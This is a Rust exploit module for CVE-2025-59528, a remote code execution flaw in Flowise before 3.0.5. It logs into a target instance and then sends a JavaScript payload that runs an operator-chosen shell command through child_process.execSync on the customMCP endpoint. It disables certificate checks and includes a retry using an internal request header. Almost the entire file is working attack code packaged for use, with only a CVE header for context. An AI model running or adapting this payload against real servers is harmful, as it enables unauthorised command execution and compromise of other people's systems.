// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
// Exploit Author: nltt0 (https://github.com/nltt-br)
// Vendor Homepage: https://flowiseai.com/
// Software Link: https://github.com/FlowiseAI/Flowise
// Version: < 3.0.5

use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use serde_json::json;
use std::io::{self, Write};
use std::time::Duration;

/// Displays module banner
fn banner() {
    println!(
        "{}",
        r#"
_____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                          |___/                  

                by nltt0
"#
        .cyan()
    );
}

/// Login to Flowise and return authenticated session
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
    let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));

    let data = json!({
        "email": email,
        "password": password
    });

    let response = client
        .post(&login_url)
        .header("x-request-from", "internal")
        .header("Accept-Language", "pt-BR,pt;q=0.9")
        .header("Accept", "application/json, text/plain, */*")
        .header("Content-Type", "application/json")
        .header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
        .header("Origin", "http://workflow.flow.hc")
        .header("Referer", "http://workflow.flow.hc/signin")
        .header("Accept-Encoding", "gzip, deflate, br")
        .header("Connection", "keep-alive")
        .json(&data)
        .send()
        .await
        .context("Failed to send login request")?;

    if response.status().is_success() {
        // Extract session token/cookie from response
        // The actual token extraction depends on Flowise's response format
        // For now, we'll use the cookie jar from the client
        Ok("authenticated".to_string())
    } else {
        Err(anyhow!("Login failed with status: {}", response.status()))
    }
}

/// Execute remote code via the customMCP endpoint
async fn execute_rce(
    client: &Client,
    url: &str,
    email: &str,
    password: &str,
    cmd: &str,
) -> Result<()> {
    // First, login to get authenticated session
    println!("{}", "[*] Attempting to login...".yellow());
    login(client, url, email, password).await?;
    println!("{}", "[+] Login successful".green());

    let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
    
    // Escape the command for JavaScript execution
    let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
    
    // Construct the malicious payload
    let command = format!(
        r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
        escaped_cmd
    );

    let data = json!({
        "loadMethod": "listActions",
        "inputs": {
            "mcpServerConfig": command
        }
    });

    println!("{}", format!("[*] Executing command: {}", cmd).yellow());
    
    let response = client
        .post(&rce_url)
        .header("x-request-from", "internal")
        .header("Content-Type", "application/json")
        .json(&data)
        .send()
        .await
        .context("Failed to send RCE request")?;

    if response.status() == 401 {
        // Retry with internal header if we get 401
        println!("{}", "[*] Received 401, retrying with internal header...".yellow());
        let retry_response = client
            .post(&rce_url)
            .header("x-request-from", "internal")
            .json(&data)
            .send()
            .await
            .context("Failed to retry RCE request")?;
        
        if retry_response.status().is_success() {
            println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
        } else {
            println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
        }
    } else if response.status().is_success() {
        println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
    } else {
        println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
    }

    Ok(())
}

/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
    banner();

    let mut base_url = target.trim().to_string();
    if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
        base_url = format!("http://{}", base_url);
    }
    base_url = base_url.trim_end_matches('/').to_string();

    println!("{}", format!("[*] Target URL: {}", base_url).yellow());

    // Build HTTP client with cookie support and SSL verification disabled
    let client = Client::builder()
        .timeout(Duration::from_secs(30))
        .danger_accept_invalid_certs(true)
        .cookie_store(true)
        .build()
        .context("Failed to create HTTP client")?;

    // Prompt for credentials and command
    let mut email = String::new();
    let mut password = String::new();
    let mut command = String::new();

    print!("{}", "Email: ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut email)?;

    print!("{}", "Password: ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut password)?;

    print!("{}", "Command to execute: ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut command)?;

    let email = email.trim();
    let password = password.trim();
    let command = command.trim();

    if email.is_empty() || password.is_empty() || command.is_empty() {
        return Err(anyhow!("Email, password, and command must be provided"));
    }

    execute_rce(&client, &base_url, email, password, command).await?;

    Ok(())
}

